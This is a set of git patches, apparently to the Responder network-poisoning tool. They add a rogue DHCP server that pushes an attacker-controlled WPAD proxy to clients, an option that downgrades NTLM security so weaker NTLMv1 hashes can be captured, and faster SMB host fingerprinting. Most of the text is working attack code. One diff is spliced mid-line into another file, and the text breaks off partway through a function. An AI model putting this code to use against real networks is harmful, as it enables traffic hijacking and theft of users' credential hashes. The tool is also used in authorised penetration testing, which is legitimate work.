Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2022, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. SMBv2 has also been implemented and is supported by default. +Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2022, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. If --disable-ess is set, extended session security will be disabled for NTLMv1 authentication. SMBv2 has also been implemented and is supported by default. - Built-in MSSQL Auth server. From dcb80d992e385a0f0fdd3f724a0b040a42439306 Mon Sep 17 00:00:00 2001 From: Pixis Date: Sun, 16 May 2021 09:55:32 +0200 Subject: [PATCH 090/219] Add --lm switch for ESS downgrade --- utils.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/utils.py b/utils.py index 7045d18..f805279 100644 --- a/utils.py +++ b/utils.py @@ -403,7 +403,7 @@ def StartupMessage(): print(' %-27s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled)) print(' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled)) print(' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled)) - print(' %-27s' % "Force ESS downgrade" + (enabled if settings.Config.NOESS_On_Off == True else disabled)) + print(' %-27s' % "Force ESS downgrade" + (enabled if settings.Config.NOESS_On_Off == True or settings.Config.LM_On_Off == True else disabled)) print(' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled)) print('') From 88ea72908c79442dd19e82d455243351e6cf1ec3 Mon Sep 17 00:00:00 2001 From: lgandx Date: Mon, 25 Oct 2021 22:41:01 -0300 Subject: [PATCH 091/219] Added DHCP server --- Responder.py | 23 ++-- packets.py | 123 +++++++++++++++++- poisoners/DHCP.py | 309 ++++++++++++++++++++++++++++++++++++++++++++++ settings.py | 12 +- utils.py | 3 + 5 files changed, 453 insertions(+), 17 deletions(-) mode change 100644 => 100755 packets.py create mode 100755 poisoners/DHCP.py mode change 100644 => 100755 settings.py mode change 100644 => 100755 utils.py diff --git a/Responder.py b/Responder.py index 2b62977..9a82287 100755 --- a/Responder.py +++ b/Responder.py @@ -1,4 +1,4 @@ -#!/usr/bin/env python +#!/usr/bin/env python3 # This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. # email: laurent.gaffie@gmail.com @@ -31,10 +31,9 @@ parser.add_option('-I','--interface', action="store", help="Network in parser.add_option('-i','--ip', action="store", help="Local IP to use \033[1m\033[31m(only for OSX)\033[0m", dest="OURIP", metavar="10.0.0.21", default=None) parser.add_option('-e', "--externalip", action="store", help="Poison all requests with another IP address than Responder's one.", dest="ExternalIP", metavar="10.0.0.22", default=None) - parser.add_option('-b', '--basic', action="store_true", help="Return a Basic HTTP authentication. Default: NTLM", dest="Basic", default=False) parser.add_option('-r', '--wredir', action="store_true", help="Enable answers for netbios wredir suffix queries. Answering to wredir will likely break stuff on the network. Default: False", dest="Wredirect", default=False) -parser.add_option('-d', '--NBTNSdomain', action="store_true", help="Enable answers for netbios domain suffix queries. Answering to domain suffixes will likely break stuff on the network. Default: False", dest="NBTNSDomain", default=False) +parser.add_option('-d', '--DHCP', action="store_true", help="Enable answers for DHCP broadcast requests. This option will inject a WPAD server in the DHCP response. Default: False", dest="DHCP_On_Off", default=False) parser.add_option('-f','--fingerprint', action="store_true", help="This option allows you to fingerprint a host that issued an NBT-NS or LLMNR query.", dest="Finger", default=False) parser.add_option('-w','--wpad', action="store_true", help="Start the WPAD rogue proxy server. Default value is False", dest="WPAD_On_Off", default=False) parser.add_option('-u','--upstream-proxy', action="store", help="Upstream HTTP proxy used by the rogue WPAD Proxy for outgoing requests (format: host:port)", dest="Upstream_Proxy", default=None) @@ -43,13 +42,14 @@ parser.add_option('-F','--ForceWpadAuth', action="store_true", help="Force NTLM parser.add_option('-P','--ProxyAuth', action="store_true", help="Force NTLM (transparently)/Basic (prompt) authentication for the proxy. WPAD doesn't need to be ON. This option is highly effective when combined with -r. Default: False", dest="ProxyAuth_On_Off", default=False) parser.add_option('--lm', action="store_true", help="Force LM hashing downgrade for Windows XP/2003 and earlier. Default: False", dest="LM_On_Off", default=False) +parser.add_option('--disable-ess', action="store_true", help="Force ESS downgrade. Default: False", dest="NOESS_On_Off", default=False) parser.add_option('-v','--verbose', action="store_true", help="Increase verbosity.", dest="Verbose") options, args = parser.parse_args() if not os.geteuid() == 0: print(color("[!] Responder must be run as root.")) sys.exit(-1) -elif options.OURIP is None and IsOsX() is True: +elif options.OURIP == None and IsOsX() == True: print("\n\033[1m\033[31mOSX detected, -i mandatory option is missing\033[0m\n") parser.print_help() exit(-1) @@ -61,9 +61,6 @@ StartupMessage() settings.Config.ExpandIPRanges() -if settings.Config.AnalyzeMode: - print(color('[i] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1)) - #Create the DB, before we start Responder. CreateResponderDb() @@ -266,6 +263,10 @@ def main(): from servers.WinRM import WinRM threads.append(Thread(target=serve_thread_tcp, args=(settings.Config.Bind_To, 5985, WinRM,))) + if settings.Config.WinRM_On_Off: + from servers.WinRM import WinRM + threads.append(Thread(target=serve_thread_SSL, args=(settings.Config.Bind_To, 5986, WinRM,))) + if settings.Config.SSL_On_Off: from servers.HTTP import HTTP threads.append(Thread(target=serve_thread_SSL, args=(settings.Config.Bind_To, 443, HTTP,))) @@ -338,8 +339,16 @@ def main(): thread.setDaemon(True) thread.start() + print(color('\n[+]', 2, 1) + " Listening for events...\n") + if settings.Config.AnalyzeMode: + print(color('[+] Responder is in analyze mode. No NBT-NS, LLMNR, MDNS requests will be poisoned.', 3, 1)) + + if settings.Config.DHCP_On_Off: + from poisoners.DHCP import DHCP + DHCP() + while True: time.sleep(1) diff --git a/packets.py b/packets.py old mode 100644 new mode 100755 index 77036bd..e533cf6 --- a/packets.py +++ b/packets.py @@ -202,6 +202,9 @@ class MDNS_Ans(Packet): def calculate(self): self.fields["IPLen"] = StructPython2or3(">h",self.fields["IP"]) +################### DHCP SRV ###################### + + ##### HTTP Packets ##### class NTLM_Challenge(Packet): fields = OrderedDict([ @@ -791,7 +794,7 @@ class LDAPNTLMChallenge(Packet): ("NTLMSSPNtWorkstationLen", "\x1e\x00"), ("NTLMSSPNtWorkstationMaxLen", "\x1e\x00"), ("NTLMSSPNtWorkstationBuffOffset", "\x38\x00\x00\x00"), - ("NTLMSSPNtNegotiateFlags", "\x15\x82\x89\xe2"), + ("NTLMSSPNtNegotiateFlags", "\x15\x82\x81\xe2" if settings.Config.NOESS_On_Off else "\x15\x82\x89\xe2"), ("NTLMSSPNtServerChallenge", "\x81\x22\x33\x34\x55\x46\xe7\x88"), ("NTLMSSPNtReserved", "\x00\x00\x00\x00\x00\x00\x00\x00"), ("NTLMSSPNtTargetInfoLen", "\x94\x00"), @@ -1197,7 +1200,7 @@ class SMBNegoAns(Packet): ("NegHintTag0ASNLen", "\x17"), ("NegHintFinalASNId", "\x1b"), ("NegHintFinalASNLen", "\x15"), - ("NegHintFinalASNStr", settings.Config.MachineNego), + ("NegHintFinalASNStr", "not_defined_in_RFC4178@please_ignore"), ]) def calculate(self): @@ -1331,7 +1334,7 @@ class SMBSession1Data(Packet): ("NTLMSSPNtWorkstationLen","\x1e\x00"), ("NTLMSSPNtWorkstationMaxLen","\x1e\x00"), ("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"), - ("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"), + ("NTLMSSPNtNegotiateFlags","\x15\x82\x81\xe2" if settings.Config.NOESS_On_Off else "\x15\x82\x89\xe2"), ("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"), ("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"), ("NTLMSSPNtTargetInfoLen","\x94\x00"), @@ -1576,7 +1579,7 @@ class SMB2NegoAns(Packet): ("NegHintTag0ASNLen", "\x26"), ("NegHintFinalASNId", "\x1b"), ("NegHintFinalASNLen", "\x24"), - ("NegHintFinalASNStr", settings.Config.MachineName+'@'+settings.Config.DomainName), + ("NegHintFinalASNStr", "not_defined_in_RFC4178@please_ignore"), ]) def calculate(self): @@ -1651,7 +1654,7 @@ class SMB2Session1Data(Packet): ("NTLMSSPNtWorkstationLen","\x1e\x00"), ("NTLMSSPNtWorkstationMaxLen","\x1e\x00"), ("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"), - ("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"), + ("NTLMSSPNtNegotiateFlags","\x15\x82\x81\xe2" if settings.Config.NOESS_On_Off else "\x15\x82\x89\xe2"), ("NTLMSSPNtServerChallenge","\x81\x22\x33\x34\x55\x46\xe7\x88"), ("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"), ("NTLMSSPNtTargetInfoLen","\x94\x00"), @@ -2143,3 +2146,113 @@ class RPCNTLMNego(Packet): self.fields["FragLen"] = StructWithLenPython2or3("h",len(DataGramLen)) + +class SMBTransMailslot(Packet): + fields = OrderedDict([ + ("Wordcount", "\x11"), + ("TotalParamCount", "\x00\x00"), + ("TotalDataCount", "\x00\x00"), + ("MaxParamCount", "\x02\x00"), + ("MaxDataCount", "\x00\x00"), + ("MaxSetupCount", "\x00"), + ("Reserved", "\x00"), + ("Flags", "\x00\x00"), + ("Timeout", "\xff\xff\xff\xff"), + ("Reserved2", "\x00\x00"), + ("ParamCount", "\x00\x00"), + ("ParamOffset", "\x00\x00"), + ("DataCount", "\x00\x00"), + ("DataOffset", "\x00\x00"), + ("SetupCount", "\x03"), + ("Reserved3", "\x00"), + ("Opcode", "\x01\x00"), + ("Priority", "\x00\x00"), + ("Class", "\x02\x00"), + ("Bcc", "\x00\x00"), + ("MailSlot", "\\MAILSLOT\\NET\\NETLOGON"), + ("MailSlotNull", "\x00"), + ("Padding", "\x00\x00\x00"), + ("Data", ""), + ]) + + def calculate(self): + #Padding + if len(str(self.fields["Data"]))%2==0: + self.fields["Padding"] = "\x00\x00\x00\x00" + else: + self.fields["Padding"] = "\x00\x00\x00" + BccLen = str(self.fields["MailSlot"])+str(self.fields["MailSlotNull"])+str(self.fields["Padding"])+str(self.fields["Data"]) + PacketOffsetLen = str(self.fields["Wordcount"])+str(self.fields["TotalParamCount"])+str(self.fields["TotalDataCount"])+str(self.fields["MaxParamCount"])+str(self.fields["MaxDataCount"])+str(self.fields["MaxSetupCount"])+str(self.fields["Reserved"])+str(self.fields["Flags"])+str(self.fields["Timeout"])+str(self.fields["Reserved2"])+str(self.fields["ParamCount"])+str(self.fields["ParamOffset"])+str(self.fields["DataCount"])+str(self.fields["DataOffset"])+str(self.fields["SetupCount"])+str(self.fields["Reserved3"])+str(self.fields["Opcode"])+str(self.fields["Priority"])+str(self.fields["Class"])+str(self.fields["Bcc"])+str(self.fields["MailSlot"])+str(self.fields["MailSlotNull"])+str(self.fields["Padding"]) + + self.fields["DataCount"] = StructWithLenPython2or3(". +import sys +if (sys.version_info < (3, 0)): + sys.exit('This script is meant to be run with Python3') + +import struct +import optparse +import configparser +import os +import codecs +import netifaces +import binascii + +BASEDIR = os.path.realpath(os.path.join(os.path.dirname(__file__), '..')) +sys.path.insert(0, BASEDIR) +from odict import OrderedDict +from utils import * + +def color(txt, code = 1, modifier = 0): + return "\033[%d;3%dm%s\033[0m" % (modifier, code, txt) + +#Python version +if (sys.version_info > (3, 0)): + PY2OR3 = "PY3" +else: + PY2OR3 = "PY2" + +def StructWithLenPython2or3(endian,data): + #Python2... + if PY2OR3 == "PY2": + return struct.pack(endian, data) + #Python3... + else: + return struct.pack(endian, data).decode('latin-1') + +def NetworkSendBufferPython2or3(data): + if PY2OR3 == "PY2": + return str(data) + else: + return bytes(str(data), 'latin-1') + +def NetworkRecvBufferPython2or3(data): + if PY2OR3 == "PY2": + return str(data) + else: + return str(data.decode('latin-1')) + +class Packet(): + fields = OrderedDict([ + ("data", ""), + ]) + def __init__(self, **kw): + self.fields = OrderedDict(self.__class__.fields) + for k,v in kw.items(): + if callable(v): + self.fields[k] = v(self.fields[k]) + else: + self.fields[k] = v + def __str__(self): + return "".join(map(str, self.fields.values())) + +config = configparser.ConfigParser() +config.read(os.path.join(BASEDIR,'Responder.conf')) +RespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'RespondTo').strip().split(',')] if _f] +DontRespondTo = [_f for _f in [x.upper().strip() for x in config.get('Responder Core', 'DontRespondTo').strip().split(',')] if _f] +Interface = settings.Config.Interface +Responder_IP = FindLocalIP(Interface, None) +ROUTERIP = Responder_IP # Set to Responder_IP in case we fall on a static IP network and we don't get a DHCP Offer. This var will be updated with the real dhcp IP if present. +NETMASK = "255.255.255.0" +DNSIP = "0.0.0.0" +DNSIP2 = "0.0.0.0" +DNSNAME = "lan" +WPADSRV = "http://"+Responder_IP+"/wpad.dat" +Respond_To_Requests = True +DHCPClient = [] + +def GetMacAddress(Interface): + mac = netifaces.ifaddresses(Interface)[netifaces.AF_LINK][0]['addr'] + return binascii.unhexlify(mac.replace(':', '')).decode('latin-1') + +##### IP Header ##### +class IPHead(Packet): + fields = OrderedDict([ + ("Version", "\x45"), + ("DiffServices", "\x00"), + ("TotalLen", "\x00\x00"), + ("Ident", "\x00\x00"), + ("Flags", "\x00\x00"), + ("TTL", "\x40"), + ("Protocol", "\x11"), + ("Checksum", "\x00\x00"), + ("SrcIP", ""), + ("DstIP", ""), + ]) + +class UDP(Packet): + fields = OrderedDict([ + ("SrcPort", "\x00\x43"), + ("DstPort", "\x00\x44"), + ("Len", "\x00\x00"), + ("Checksum", "\x00\x00"), + ("Data", "\x00\x00"), + ]) + + def calculate(self): + self.fields["Len"] = StructWithLenPython2or3(">h",len(str(self.fields["Data"]))+8) + +class DHCPDiscover(Packet): + fields = OrderedDict([ + ("MessType", "\x01"), + ("HdwType", "\x01"), + ("HdwLen", "\x06"), + ("Hops", "\x00"), + ("Tid", os.urandom(4).decode('latin-1')), + ("ElapsedSec", "\x00\x01"), + ("BootpFlags", "\x80\x00"), + ("ActualClientIP", "\x00\x00\x00\x00"), + ("GiveClientIP", "\x00\x00\x00\x00"), + ("NextServerIP", "\x00\x00\x00\x00"), + ("RelayAgentIP", "\x00\x00\x00\x00"), + ("ClientMac", os.urandom(6).decode('latin-1')),#Needs to be random. + ("ClientMacPadding", "\x00" *10), + ("ServerHostname", "\x00" * 64), + ("BootFileName", "\x00" * 128), + ("MagicCookie", "\x63\x82\x53\x63"), + ("DHCPCode", "\x35"), #DHCP Message + ("DHCPCodeLen", "\x01"), + ("DHCPOpCode", "\x01"), #Msgtype(Discover) + ("Op55", "\x37"), + ("Op55Len", "\x0b"), + ("Op55Str", "\x01\x03\x0c\x0f\x06\x1a\x21\x79\x77\x2a\x78"),#Requested info. + ("Op12", "\x0c"), + ("Op12Len", "\x09"), + ("Op12Str", settings.Config.DHCPHostname),#random str. + ("Op255", "\xff"), + ("Padding", "\x00"), + ]) + + def calculate(self): + self.fields["ClientMac"] = GetMacAddress(Interface) + +class DHCPACK(Packet): + fields = OrderedDict([ + ("MessType", "\x02"), + ("HdwType", "\x01"), + ("HdwLen", "\x06"), + ("Hops", "\x00"), + ("Tid", "\x11\x22\x33\x44"), + ("ElapsedSec", "\x00\x00"), + ("BootpFlags", "\x00\x00"), + ("ActualClientIP", "\x00\x00\x00\x00"), + ("GiveClientIP", "\x00\x00\x00\x00"), + ("NextServerIP", "\x00\x00\x00\x00"), + ("RelayAgentIP", "\x00\x00\x00\x00"), + ("ClientMac", "\xff\xff\xff\xff\xff\xff"), + ("ClientMacPadding", "\x00" *10), + ("ServerHostname", "\x00" * 64), + ("BootFileName", "\x00" * 128), + ("MagicCookie", "\x63\x82\x53\x63"), + ("DHCPCode", "\x35"), #DHCP Message + ("DHCPCodeLen", "\x01"), + ("DHCPOpCode", "\x05"), #Msgtype(ACK) + ("Op54", "\x36"), + ("Op54Len", "\x04"), + ("Op54Str", ""), #DHCP Server + ("Op51", "\x33"), + ("Op51Len", "\x04"), + ("Op51Str", "\x00\x00\x00\x0a"), #Lease time + ("Op1", "\x01"), + ("Op1Len", "\x04"), + ("Op1Str", ""), #Netmask + ("Op15", "\x0f"), + ("Op15Len", "\x0e"), + ("Op15Str", ""), #DNS Name + ("Op3", "\x03"), + ("Op3Len", "\x04"), + ("Op3Str", ""), #Router + ("Op6", "\x06"), + ("Op6Len", "\x08"), + ("Op6Str", ""), #DNS Servers + ("Op252", "\xfc"), + ("Op252Len", "\x04"), + ("Op252Str", ""), #Wpad Server + ("Op255", "\xff"), + ("Padding", "\x00"), + ]) + + def calculate(self): + self.fields["Op54Str"] = socket.inet_aton(ROUTERIP).decode('latin-1') + self.fields["Op1Str"] = socket.inet_aton(NETMASK).decode('latin-1') + self.fields["Op3Str"] = socket.inet_aton(ROUTERIP).decode('latin-1') + self.fields["Op6Str"] = socket.inet_aton(DNSIP).decode('latin-1')+socket.inet_aton(DNSIP2).decode('latin-1') + self.fields["Op15Str"] = DNSNAME + self.fields["Op252Str"] = WPADSRV + self.fields["Op15Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op15Str"]))) + self.fields["Op252Len"] = StructWithLenPython2or3(">b",len(str(self.fields["Op252Str"]))) + +def RespondToThisIP(ClientIp): + if ClientIp.startswith('127.0.0.'): + return False + elif RespondTo and ClientIp not in RespondTo: + return False + elif ClientIp in RespondTo or RespondTo == []: + if ClientIp not in DontRespondTo: + return True + return False + +def ParseSrcDSTAddr(data): + SrcIP = socket.inet_ntoa(data[0][26:30]) + DstIP = socket.inet_ntoa(data[0][30:34]) + SrcPort = struct.unpack('>H',data[0][34:36])[0] + DstPort = struct.unpack('>H',data[0][36:38])[0] + return SrcIP, SrcPort, DstIP, DstPort + +def FindIP(data): + data = data.decode('latin-1') + IP = ''.join(re.findall(r'(?<=\x32\x04)[^EOF]*', data)) + return ''.join(IP[0:4]).encode('latin-1') + +def ParseDHCPCode(data, ClientIP): + global DHCPClient + global ROUTERIP + PTid = data[4:8] + Seconds = data[8:10] + CurrentIP = socket.inet_ntoa(data[12:16]) + RequestedIP = socket.inet_ntoa(data[16:20]) + MacAddr = data[28:34] + MacAddrStr = ':'.join('%02x' % ord(m) for m in MacAddr.decode('latin-1')).upper() + OpCode = data[242:243] + RequestIP = data[245:249] + + if DHCPClient.count(MacAddrStr) >= 4: + return "'%s' has been poisoned more than 4 times. Ignoring..." % MacAddrStr + + if OpCode == b"\x02" and Respond_To_Requests: # DHCP Offer + ROUTERIP = ClientIP + return 'Found DHCP server IP: %s, now waiting for incoming requests...' % (ROUTERIP) + + elif OpCode == b"\x03" and Respond_To_Requests: # DHCP Request + IP = FindIP(data) + if IP: + IPConv = socket.inet_ntoa(IP) + if RespondToThisIP(IPConv): + IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1')) + Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), ElapsedSec=Seconds.decode('latin-1')) + Packet.calculate() + Buffer = UDP(Data = Packet) + Buffer.calculate() + SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 68)) + DHCPClient.append(MacAddrStr) + return 'Acknowledged DHCP Request for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr) + + elif OpCode == b"\x01" and Respond_To_Requests: # DHCP Discover + IP = FindIP(data) + if IP: + IPConv = socket.inet_ntoa(IP) + if RespondToThisIP(IPConv): + IP_Header = IPHead(SrcIP = socket.inet_aton(ROUTERIP).decode('latin-1'), DstIP=IP.decode('latin-1')) + Packet = DHCPACK(Tid=PTid.decode('latin-1'), ClientMac=MacAddr.decode('latin-1'), GiveClientIP=IP.decode('latin-1'), DHCPOpCode="\x02", ElapsedSec=Seconds.decode('latin-1')) + Packet.calculate() + Buffer = UDP(Data = Packet) + Buffer.calculate() + SendDHCP(str(IP_Header)+str(Buffer), (IPConv, 0)) + DHCPClient.append(MacAddrStr) + return 'Acknowledged DHCP Discover for IP: %s, Req IP: %s, MAC: %s' % (CurrentIP, IPConv, MacAddrStr) + +def SendDiscover(): + s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) + s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) + IP_Header = IPHead(SrcIP = socket.inet_aton('0.0.0.0').decode('latin-1'), DstIP=socket.inet_aton('255.255.255.255').decode('latin-1')) + Packet = DHCPDiscover() + Packet.calculate() + Buffer = UDP(SrcPort="\x00\x44", DstPort="\x00\x43",Data = Packet) + Buffer.calculate() + s.sendto(NetworkSendBufferPython2or3(str(IP_Header)+str(Buffer)), ('255.255.255.255', 67)) + +def SendDHCP(packet,Host): + s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW) + s.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1) + s.sendto(NetworkSendBufferPython2or3(packet), Host) + +def DHCP(): + s = socket.socket(socket.PF_PACKET, socket.SOCK_RAW) + s.bind((Interface, 0x0800)) + SendDiscover() + while True: + data = s.recvfrom(65535) + if data[0][23:24] == b"\x11":# is udp? + SrcIP, SrcPort, DstIP, DstPort = ParseSrcDSTAddr(data) + if SrcPort == 67 or DstPort == 67: + ClientIP = socket.inet_ntoa(data[0][26:30]) + ret = ParseDHCPCode(data[0][42:], ClientIP) + if ret: + print(text("[*] [DHCP] %s" % ret)) diff --git a/settings.py b/settings.py old mode 100644 new mode 100755 index b96f127..b728242 --- a/settings.py +++ b/settings.py @@ -23,7 +23,7 @@ import subprocess from utils import * -__version__ = 'Responder 3.0.6.0' +__version__ = 'Responder 3.0.7.0' class Settings: @@ -68,7 +68,7 @@ class Settings: def populate(self, options): - if options.Interface is None and utils.IsOsX() is False: + if options.Interface == None and utils.IsOsX() == False: print(utils.color("Error: -I mandatory option is missing", 1)) sys.exit(-1) @@ -144,7 +144,7 @@ class Settings: self.WPAD_Script = config.get('HTTP Server', 'WPADScript') self.HtmlToInject = config.get('HTTP Server', 'HtmlToInject') - if self.Serve_Exe is True: + if self.Serve_Exe == True: if not os.path.exists(self.Html_Filename): print(utils.color("/!\ Warning: %s: file not found" % self.Html_Filename, 3, 1)) @@ -164,6 +164,7 @@ class Settings: #Generate Random stuff for one Responder session self.MachineName = 'WIN-'+''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(11)]) self.Domain = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(4)]) + self.DHCPHostname = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(9)]) self.DomainName = self.Domain + '.LOCAL' self.MachineNego = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for i in range(9)]) +'$@'+self.DomainName self.RPCPort = random.randrange(45000, 49999) @@ -176,9 +177,10 @@ class Settings: # CLI options self.ExternalIP = options.ExternalIP self.LM_On_Off = options.LM_On_Off + self.NOESS_On_Off = options.NOESS_On_Off self.WPAD_On_Off = options.WPAD_On_Off self.Wredirect = options.Wredirect - self.NBTNSDomain = options.NBTNSDomain + self.DHCP_On_Off = options.DHCP_On_Off self.Basic = options.Basic self.Finger_On_Off = options.Finger self.Interface = options.Interface @@ -193,7 +195,7 @@ class Settings: if self.ExternalIP: self.ExternalIPAton = socket.inet_aton(self.ExternalIP) - if self.HtmlToInject is None: + if self.HtmlToInject == None: self.HtmlToInject = '' self.Bind_To = utils.FindLocalIP(self.Interface, self.OURIP) diff --git a/utils.py b/utils.py old mode 100644 new mode 100755 index 7a71c83..11feda0 --- a/utils.py +++ b/utils.py @@ -369,6 +369,7 @@ def StartupMessage(): print(' %-27s' % "LLMNR" + enabled) print(' %-27s' % "NBT-NS" + enabled) print(' %-27s' % "DNS/MDNS" + enabled) + print(' %-27s' % "DHCP" + (enabled if settings.Config.DHCP_On_Off else disabled)) print('') print(color("[+] ", 2, 1) + "Servers:") @@ -403,6 +404,7 @@ def StartupMessage(): print(' %-27s' % "Force WPAD auth" + (enabled if settings.Config.Force_WPAD_Auth else disabled)) print(' %-27s' % "Force Basic Auth" + (enabled if settings.Config.Basic else disabled)) print(' %-27s' % "Force LM downgrade" + (enabled if settings.Config.LM_On_Off == True else disabled)) + print(' %-27s' % "Force ESS downgrade" + (enabled if settings.Config.NOESS_On_Off == True or settings.Config.LM_On_Off == True else disabled)) print(' %-27s' % "Fingerprint hosts" + (enabled if settings.Config.Finger_On_Off == True else disabled)) print('') @@ -428,3 +430,4 @@ def StartupMessage(): print(' %-27s' % "Responder Machine Name" + color('[%s]' % settings.Config.MachineName, 5, 1)) print(' %-27s' % "Responder Domain Name" + color('[%s]' % settings.Config.DomainName, 5, 1)) print(' %-27s' % "Responder DCE-RPC Port " + color('[%s]' % settings.Config.RPCPort, 5, 1)) + From c449b6bcb990959e352967b3842b09978b9b2729 Mon Sep 17 00:00:00 2001 From: lgandx Date: Mon, 25 Oct 2021 22:51:39 -0300 Subject: [PATCH 092/219] Added DHCP server --- README.md | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) mode change 100644 => 100755 README.md diff --git a/README.md b/README.md old mode 100644 new mode 100755 index 44a8baa..9f09906 --- a/README.md +++ b/README.md @@ -16,7 +16,7 @@ The concept behind this is to target our answers, and be stealthier on the netwo - Built-in SMB Auth server. -Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2022, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. SMBv2 has also been implemented and is supported by default. +Supports NTLMv1, NTLMv2 hashes with Extended Security NTLMSSP by default. Successfully tested from Windows 95 to Server 2022, Samba and Mac OSX Lion. Clear text password is supported for NT4, and LM hashing downgrade when the --lm option is set. If --disable-ess is set, extended session security will be disabled for NTLMv1 authentication. SMBv2 has also been implemented and is supported by default. - Built-in MSSQL Auth server. @@ -163,6 +163,7 @@ Options: with -r. Default: Off --lm Force LM hashing downgrade for Windows XP/2003 and earlier. Default: Off + --disable-ess Force ESS downgrade. Default: Off -v, --verbose Increase verbosity. From 1b2a22facfd54820cc5f8ebba06f5cd996e917dc Mon Sep 17 00:00:00 2001 From: lgandx Date: Sat, 20 Nov 2021 20:11:58 -0300 Subject: [PATCH 093/219] Fixed a bug and increased speed. --- tools/RunFinger.py | 21 ++++++++------------- 1 file changed, 8 insertions(+), 13 deletions(-) diff --git a/tools/RunFinger.py b/tools/RunFinger.py index 0310d13..aa3b80b 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -22,7 +22,7 @@ from odict import OrderedDict import errno import optparse from RunFingerPackets import * -__version__ = "1.3" +__version__ = "1.5" parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0]) @@ -36,7 +36,7 @@ if options.TARGET is None: parser.print_help() exit(-1) -Timeout = 2 +Timeout = 1 Host = options.TARGET SMB1 = "Enabled" SMB2signing = "False" @@ -295,7 +295,7 @@ def check_smb_null_session(host): def ConnectAndChoseSMB(host): try: s = socket(AF_INET, SOCK_STREAM) - s.settimeout(0.7) + s.settimeout(Timeout) s.connect(host) except: return None @@ -392,19 +392,14 @@ def RunFinger(Host): mask = int(mask) net = atod(net) threads = [] - """ - if options.grep_output: - func = ShowSmallResults - else: - func = ShowResults - """ + Pool = multiprocessing.Pool(processes=250) func = ShowSmallResults for host in (dtoa(net+n) for n in range(0, 1<<32-mask)): - p = multiprocessing.Process(target=func, args=((host),)) - threads.append(p) - p.start() + proc = Pool.apply_async(func, ((host),)) + threads.append(proc) + for proc in threads: + proc.get() else: ShowSmallResults(Host) - RunFinger(Host) From 02fb3f8978286a486d633a707889ea8992a7f43a Mon Sep 17 00:00:00 2001 From: lgandx Date: Sat, 20 Nov 2021 20:35:33 -0300 Subject: [PATCH 094/219] Added support for single IP or range file. --- tools/RunFinger.py | 60 ++++++++++++++++++++++++++++++++-------------- 1 file changed, 42 insertions(+), 18 deletions(-) diff --git a/tools/RunFinger.py b/tools/RunFinger.py index aa3b80b..caa7f7d 100755 --- a/tools/RunFinger.py +++ b/tools/RunFinger.py @@ -22,22 +22,24 @@ from odict import OrderedDict import errno import optparse from RunFingerPackets import * -__version__ = "1.5" +__version__ = "1.6" parser = optparse.OptionParser(usage='python %prog -i 10.10.10.224\nor:\npython %prog -i 10.10.10.0/24', version=__version__, prog=sys.argv[0]) parser.add_option('-i','--ip', action="store", help="Target IP address or class C", dest="TARGET", metavar="10.10.10.224", default=None) +parser.add_option('-f','--filename', action="store", help="target file", dest="Filename", metavar="ips.txt", default=None) #Way better to have grepable output by default... #parser.add_option('-g','--grep', action="store_true", dest="grep_output", default=False, help="Output in grepable format") options, args = parser.parse_args() -if options.TARGET is None: +if options.TARGET == None and options.Filename == None: print("\n-i Mandatory option is missing, please provide a target or target range.\n") parser.print_help() exit(-1) Timeout = 1 Host = options.TARGET +Filename = options.Filename SMB1 = "Enabled" SMB2signing = "False" @@ -386,20 +388,42 @@ def IsRDPOn(Host): return False def RunFinger(Host): - m = re.search("/", str(Host)) - if m: - net,_,mask = Host.partition('/') - mask = int(mask) - net = atod(net) - threads = [] - Pool = multiprocessing.Pool(processes=250) - func = ShowSmallResults - for host in (dtoa(net+n) for n in range(0, 1<<32-mask)): - proc = Pool.apply_async(func, ((host),)) - threads.append(proc) - for proc in threads: - proc.get() - else: - ShowSmallResults(Host) - + if Filename != None: + with open(Filename) as fp: + Line = fp.read().splitlines() + 